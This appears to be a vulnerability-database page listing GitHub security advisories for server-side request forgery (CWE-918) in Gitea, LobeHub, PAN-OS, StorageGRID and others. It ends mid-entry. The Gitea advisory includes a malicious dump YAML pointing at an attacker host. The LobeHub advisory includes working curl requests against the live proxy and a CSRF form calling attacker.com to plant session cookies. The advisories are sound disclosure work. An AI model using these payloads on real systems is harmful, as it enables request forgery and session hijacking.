CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4710 vulnerabilities reference this CWE, most recent first.
GHSA-XMJ7-XJ85-HFC3
Vulnerability from github – Published: 2026-07-21 20:37 – Updated: 2026-07-21 20:37Summary
Gitea's restore-repo CLI command restores a repository from a dump
directory/archive. When parsing pull_request.yml from that dump, the
Head.CloneURL field is used to add a git remote and fetch from it with
no validation, because the safety check that's supposed to guard it
(CheckAndEnsureSafePR) is called with an empty commonCloneBaseURL,
which silently disables it. This lets a malicious dump make the Gitea
server execute git fetch against an attacker-chosen URL (SSRF), or
disclose a local git repository via file://. This is a different root
cause from the recently fixed path-traversal issue in the same command
(#38215), which patched DownloadURL/PatchURL but not Head.CloneURL.
Details
services/migrations/restore.go's GetPullRequests() unmarshals
pull_request.yml directly into base.PullRequest structs with no
validation of Head.CloneURL:
err = yaml.Unmarshal(bs, &pulls)
...
for _, pr := range pulls {
if pr.PatchURL != "" {
pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)
}
CheckAndEnsureSafePR(pr, "", r) // <-- empty baseURL
}
CheckAndEnsureSafePR (services/migrations/common.go) is supposed to
reject Head.CloneURL/PatchURL values that don't share a common base
URL:
func hasBaseURL(toCheck, baseURL string) bool {
if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
baseURL += "/"
}
return strings.HasPrefix(toCheck, baseURL)
}
func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {
valid := true
if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {
pr.PatchURL = ""
valid = false
}
if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {
pr.Head.CloneURL = ""
valid = false
}
return valid
}
strings.HasPrefix(anything, "") is always true in Go. Because
restore.go is the only caller that passes "" as
commonCloneBaseURL, this check is a complete no-op on the restore-repo
path — Head.CloneURL survives unchanged regardless of its value. Every
other downloader (github.go, gitlab.go, gitea_downloader.go,
codebase.go, codecommit.go, onedev.go) passes a real base URL, so
they are not affected.
services/migrations/gitea_uploader.go then uses the unvalidated value
directly:
err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
// ... later: fetch from that remote
resulting in the server executing git fetch against an
attacker-controlled URL sourced from the dump file.
RCE via git's ext:: transport helper was tested and ruled out — a
normal git install rejects it by default (fatal: transport 'ext' not
allowed), independent of Gitea's own configuration. This report is
scoped to SSRF and local git-repository disclosure.
Confirmed present, byte-for-byte identical, in v1.26.4 (latest stable
tag), release/v1.27, and main, by direct checkout and diff.
PoC
- Create a dump directory following the normal
restore-repolayout (repo.yml, etc.), and add apull_request.ymlcontaining at least one entry with:
- number: 1
head:
cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof"
ref: "main"
- Run
gitea restore-repoagainst that dump directory for any repo owner. - Observe on the target host/listener: an actual
gitHTTP discovery request arrives, e.g.GET /ssrf-proof/info/refs?service=git-upload-pack, driven entirely by the value from the dump file.
Verified the core mechanism (steps 2–3, i.e. the unvalidated
Head.CloneURL surviving CheckAndEnsureSafePR("") and then being used
in a real git remote add + git fetch) with a minimal, standalone Go
program built from the verbatim, unmodified hasBaseURL /
CheckAndEnsureSafePR function bodies (attached: gitea_ssrf_poc.go),
run end-to-end against a local HTTP listener. The listener's access log
confirms the request actually arrives.
Impact
An attacker who can get an administrator to run gitea restore-repo
against a malicious dump (the same threat model already accepted for the
just-fixed path-traversal issue in this command, #38215) can make the
Gitea server issue a git fetch against an arbitrary attacker-chosen
URL. This allows:
- SSRF against internal-only services or cloud metadata endpoints
reachable from the Gitea host.
- Disclosure of local git repositories reachable via file:// paths
readable by the Gitea process.
No public disclosure planned. Happy to provide further detail on request.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58441"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:37:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nGitea\u0027s `restore-repo` CLI command restores a repository from a dump\ndirectory/archive. When parsing `pull_request.yml` from that dump, the\n`Head.CloneURL` field is used to add a git remote and fetch from it with\nno validation, because the safety check that\u0027s supposed to guard it\n(`CheckAndEnsureSafePR`) is called with an empty `commonCloneBaseURL`,\nwhich silently disables it. This lets a malicious dump make the Gitea\nserver execute `git fetch` against an attacker-chosen URL (SSRF), or\ndisclose a local git repository via `file://`. This is a different root\ncause from the recently fixed path-traversal issue in the same command\n(#38215), which patched `DownloadURL`/`PatchURL` but not `Head.CloneURL`.\n\n### Details\n`services/migrations/restore.go`\u0027s `GetPullRequests()` unmarshals\n`pull_request.yml` directly into `base.PullRequest` structs with no\nvalidation of `Head.CloneURL`:\n\n```go\nerr = yaml.Unmarshal(bs, \u0026pulls)\n...\nfor _, pr := range pulls {\n if pr.PatchURL != \"\" {\n pr.PatchURL = \"file://\" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)\n }\n CheckAndEnsureSafePR(pr, \"\", r) // \u003c-- empty baseURL\n}\n```\n\n`CheckAndEnsureSafePR` (`services/migrations/common.go`) is supposed to\nreject `Head.CloneURL`/`PatchURL` values that don\u0027t share a common base\nURL:\n\n```go\nfunc hasBaseURL(toCheck, baseURL string) bool {\n if len(baseURL) \u003e 0 \u0026\u0026 baseURL[len(baseURL)-1] != \u0027/\u0027 {\n baseURL += \"/\"\n }\n return strings.HasPrefix(toCheck, baseURL)\n}\n\nfunc CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {\n valid := true\n if pr.PatchURL != \"\" \u0026\u0026 !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {\n pr.PatchURL = \"\"\n valid = false\n }\n if pr.Head.CloneURL != \"\" \u0026\u0026 !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {\n pr.Head.CloneURL = \"\"\n valid = false\n }\n return valid\n}\n```\n\n`strings.HasPrefix(anything, \"\")` is always `true` in Go. Because\n`restore.go` is the only caller that passes `\"\"` as\n`commonCloneBaseURL`, this check is a complete no-op on the restore-repo\npath \u2014 `Head.CloneURL` survives unchanged regardless of its value. Every\nother downloader (`github.go`, `gitlab.go`, `gitea_downloader.go`,\n`codebase.go`, `codecommit.go`, `onedev.go`) passes a real base URL, so\nthey are not affected.\n\n`services/migrations/gitea_uploader.go` then uses the unvalidated value\ndirectly:\n\n```go\nerr := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)\n// ... later: fetch from that remote\n```\n\nresulting in the server executing `git fetch` against an\nattacker-controlled URL sourced from the dump file.\n\n**RCE via git\u0027s `ext::` transport helper was tested and ruled out** \u2014 a\nnormal `git` install rejects it by default (`fatal: transport \u0027ext\u0027 not\nallowed`), independent of Gitea\u0027s own configuration. This report is\nscoped to SSRF and local git-repository disclosure.\n\nConfirmed present, byte-for-byte identical, in `v1.26.4` (latest stable\ntag), `release/v1.27`, and `main`, by direct checkout and diff.\n\n### PoC\n1. Create a dump directory following the normal `restore-repo` layout\n (`repo.yml`, etc.), and add a `pull_request.yml` containing at least\n one entry with:\n```yaml\n - number: 1\n head:\n cloneURL: \"http://\u003cattacker-controlled-or-internal-host\u003e:\u003cport\u003e/ssrf-proof\"\n ref: \"main\"\n```\n2. Run `gitea restore-repo` against that dump directory for any repo\n owner.\n3. Observe on the target host/listener: an actual `git` HTTP\n discovery request arrives, e.g.\n `GET /ssrf-proof/info/refs?service=git-upload-pack`, driven entirely\n by the value from the dump file.\n\nVerified the core mechanism (steps 2\u20133, i.e. the unvalidated\n`Head.CloneURL` surviving `CheckAndEnsureSafePR(\"\")` and then being used\nin a real `git remote add` + `git fetch`) with a minimal, standalone Go\nprogram built from the **verbatim, unmodified** `hasBaseURL` /\n`CheckAndEnsureSafePR` function bodies (attached: `gitea_ssrf_poc.go`),\nrun end-to-end against a local HTTP listener. The listener\u0027s access log\nconfirms the request actually arrives. \n\n### Impact\nAn attacker who can get an administrator to run `gitea restore-repo`\nagainst a malicious dump (the same threat model already accepted for the\njust-fixed path-traversal issue in this command, #38215) can make the\nGitea server issue a `git fetch` against an arbitrary attacker-chosen\nURL. This allows:\n- SSRF against internal-only services or cloud metadata endpoints\n reachable from the Gitea host.\n- Disclosure of local git repositories reachable via `file://` paths\n readable by the Gitea process.\n\nNo public disclosure planned. Happy to provide further detail on\nrequest.",
"id": "GHSA-xmj7-xj85-hfc3",
"modified": "2026-07-21T20:37:29Z",
"published": "2026-07-21T20:37:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xmj7-xj85-hfc3"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: SSRF in restore-repo via unsanitized pull_request.yml Head.CloneURL"
}
GHSA-XMM3-9X39-98R5
Vulnerability from github – Published: 2026-03-27 15:30 – Updated: 2026-03-28 00:31A weakness has been identified in mingSoft MCMS 迄 5.5.0. This issue affects the function catchImage of the file net/mingsoft/cms/action/BaseAction.java of the component Editor Endpoint. Executing a manipulation of the argument catchimage can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.
{
"affected": [],
"aliases": [
"CVE-2026-4953"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-27T15:17:02Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in mingSoft MCMS \u8fc4 5.5.0. This issue affects the function catchImage of the file net/mingsoft/cms/action/BaseAction.java of the component Editor Endpoint. Executing a manipulation of the argument catchimage can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.",
"id": "GHSA-xmm3-9x39-98r5",
"modified": "2026-03-28T00:31:13Z",
"published": "2026-03-27T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4953"
},
{
"type": "WEB",
"url": "https://github.com/wing3e/public_exp/issues/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.353831"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.353831"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.777516"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XMMP-7836-3M8W
Vulnerability from github – Published: 2023-09-28 00:30 – Updated: 2024-04-04 07:56An issue in phpkobo AjaxNewsTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the reque parameter.
{
"affected": [],
"aliases": [
"CVE-2023-41449"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-27T23:15:11Z",
"severity": "CRITICAL"
},
"details": "An issue in phpkobo AjaxNewsTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the reque parameter.",
"id": "GHSA-xmmp-7836-3m8w",
"modified": "2024-04-04T07:56:20Z",
"published": "2023-09-28T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41449"
},
{
"type": "WEB",
"url": "https://gist.github.com/RNPG/c1ae240f2acec138132aa64ce3faa2e0"
},
{
"type": "WEB",
"url": "http://ajaxnewsticker.com"
},
{
"type": "WEB",
"url": "http://phpkobo.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XMWJ-C75X-6346
Vulnerability from github – Published: 2026-06-16 20:15 – Updated: 2026-07-20 21:01Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com
Summary
The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured — it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.
Vulnerability Details
Type: Server-Side Request Forgery (CWE-918)
Affected Endpoint: POST /webapi/proxy
Vulnerable File: src/app/(backend)/webapi/proxy/route.ts
The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes — defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.
Steps to Reproduce
Fetch an external URL through the proxy (no auth, no cookies, no tokens):
curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/ip" \
"https://app.lobehub.com/webapi/proxy"
Response:
{"origin": "3.14.141.44"}
This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.
Inject a cookie on the lobehub.com domain:
curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
"https://app.lobehub.com/webapi/proxy"
The response headers include:
set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly
The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable — these are the cookie names used by Clerk for authentication.
CSRF to cookie injection (no user interaction beyond visiting a page):
An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.
<form id=f action="https://app.lobehub.com/webapi/proxy"
method=POST enctype="text/plain">
<input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>
The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.
Impact
The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:
An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.
The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.
The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.
Recommended Fix
Add checkAuth() to the proxy route, matching every other webapi route:
- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {
If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.56"
},
"package": {
"ecosystem": "npm",
"name": "@lobehub/lobehub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54157"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T20:15:57Z",
"nvd_published_at": "2026-06-23T18:18:07Z",
"severity": "CRITICAL"
},
"details": "## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com\n\n## Summary\n\nThe `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured \u2014 it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub\u0027s infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.\n\n## Vulnerability Details\n\n**Type:** Server-Side Request Forgery (CWE-918)\n**Affected Endpoint:** POST /webapi/proxy\n**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`\n\nThe route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes \u2014 `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.\n\n## Steps to Reproduce\n\n**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**\n\n```\ncurl -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n -d \"https://httpbin.org/ip\" \\\n \"https://app.lobehub.com/webapi/proxy\"\n```\n\u003cimg width=\"1069\" height=\"297\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18\" /\u003e\n\nResponse:\n\n```json\n{\"origin\": \"3.14.141.44\"}\n```\n\nThis is the IP of LobeHub\u0027s Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.\n\n**Inject a cookie on the lobehub.com domain:**\n\n```\ncurl -D- -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n -d \"https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly\" \\\n \"https://app.lobehub.com/webapi/proxy\"\n```\n\nThe response headers include:\n\n```\nset-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly\n```\n\u003cimg width=\"1215\" height=\"340\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903\" /\u003e\n\nThe proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable \u2014 these are the cookie names used by Clerk for authentication.\n\n**CSRF to cookie injection (no user interaction beyond visiting a page):**\n\nAn attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker\u0027s server. The attacker\u0027s server responds with a `Set-Cookie` header, and the proxy reflects it. The victim\u0027s browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.\n\n```html\n\u003cform id=f action=\"https://app.lobehub.com/webapi/proxy\"\n method=POST enctype=\"text/plain\"\u003e\n \u003cinput name=\"https://attacker.com/inject?x\" value=\"\"\u003e\n\u003c/form\u003e\n\u003cscript\u003ef.submit()\u003c/script\u003e\n```\n\nThe attacker\u0027s server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim\u0027s browser stores the cookie.\n\n## Impact\n\nThe proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:\n\nAn attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy\u0027s reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector \u2014 the attacker sets a known session value before the victim logs in, then uses that same value to access the victim\u0027s session.\n\nThe proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server\u0027s egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel\u0027s management plane.\n\nThe endpoint has no rate limiting. An attacker can use LobeHub\u0027s infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.\n\n## Recommended Fix\n\nAdd `checkAuth()` to the proxy route, matching every other webapi route:\n\n```diff\n- export const POST = async (req: Request) =\u003e {\n+ export const POST = checkAuth(async (req, { userId }) =\u003e {\n```\n\nIf the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.",
"id": "GHSA-xmwj-c75x-6346",
"modified": "2026-07-20T21:01:54Z",
"published": "2026-06-16T20:15:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54157"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobehub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "LobeHub: Unauthenticated SSRF in `/webapi/proxy`"
}
GHSA-XP5X-9H6P-Q3RF
Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-02-04 00:00A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)
{
"affected": [],
"aliases": [
"CVE-2021-22821"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-28T20:15:00Z",
"severity": "HIGH"
},
"details": "A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)",
"id": "GHSA-xp5x-9h6p-q3rf",
"modified": "2022-02-04T00:00:44Z",
"published": "2022-01-29T00:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22821"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-348-02"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XPFQ-G4P2-QQQF
Vulnerability from github – Published: 2022-01-11 00:01 – Updated: 2022-01-15 00:03peertube is vulnerable to Server-Side Request Forgery (SSRF)
{
"affected": [],
"aliases": [
"CVE-2022-0132"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-10T14:12:00Z",
"severity": "HIGH"
},
"details": "peertube is vulnerable to Server-Side Request Forgery (SSRF)",
"id": "GHSA-xpfq-g4p2-qqqf",
"modified": "2022-01-15T00:03:25Z",
"published": "2022-01-11T00:01:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0132"
},
{
"type": "WEB",
"url": "https://github.com/chocobozzz/peertube/commit/7b54a81cccf6b4c12269e9d6897d608b1a99537a"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/77ec5308-5561-4664-af21-d780df2d1e4b"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XPFW-QH9X-F6C7
Vulnerability from github – Published: 2025-09-19 21:31 – Updated: 2025-09-19 21:31StorageGRID (formerly StorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without Single Sign-on enabled are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an unauthenticated attacker to change the password of any Grid Manager or Tenant Manager non-federated user.
{
"affected": [],
"aliases": [
"CVE-2025-26515"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-19T19:15:38Z",
"severity": "HIGH"
},
"details": "StorageGRID (formerly \nStorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without \nSingle Sign-on enabled are susceptible to a Server-Side Request Forgery \n(SSRF) vulnerability. Successful exploit could allow an unauthenticated \nattacker to change the password of any Grid Manager or Tenant Manager \nnon-federated user.",
"id": "GHSA-xpfw-qh9x-f6c7",
"modified": "2025-09-19T21:31:17Z",
"published": "2025-09-19T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26515"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/NTAP-20250910-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPPR-6C99-HP78
Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2025-01-21 18:31Server Side Request Forgery vulnerability has been discovered in OpenText™ iManager 3.2.6.0200. This could lead to senstive information disclosure by directory traversal.
{
"affected": [],
"aliases": [
"CVE-2024-3970"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T17:15:15Z",
"severity": "MODERATE"
},
"details": "Server Side Request Forgery vulnerability\u00a0has been discovered in OpenText\u2122 iManager 3.2.6.0200. This\ncould lead to senstive information disclosure by directory traversal.",
"id": "GHSA-xppr-6c99-hp78",
"modified": "2025-01-21T18:31:03Z",
"published": "2024-05-15T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3970"
},
{
"type": "WEB",
"url": "https://www.netiq.com/documentation/imanager-32/imanager326_patch3_hf1_releasenotes/data/imanager326_patch3_hf1_releasenotes.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPV6-XWMP-4M43
Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-07-14 18:31A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.
Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2026-0258"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T19:17:01Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS\u00ae software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.\n\n\n\nPanorama, Cloud NGFW and Prisma\u00ae Access are not impacted by these vulnerabilities.",
"id": "GHSA-xpv6-xwmp-4m43",
"modified": "2026-07-14T18:31:46Z",
"published": "2026-05-13T21:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0258"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-967325.html"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2026-0258"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:H/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-XPVP-WH4V-PPC2
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07A server side request forgery (SSRF) vulnerability in /ApiAdminDomainSettings.php of MipCMS 5.0.1 allows attackers to access sensitive information.
{
"affected": [],
"aliases": [
"CVE-2020-20582"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
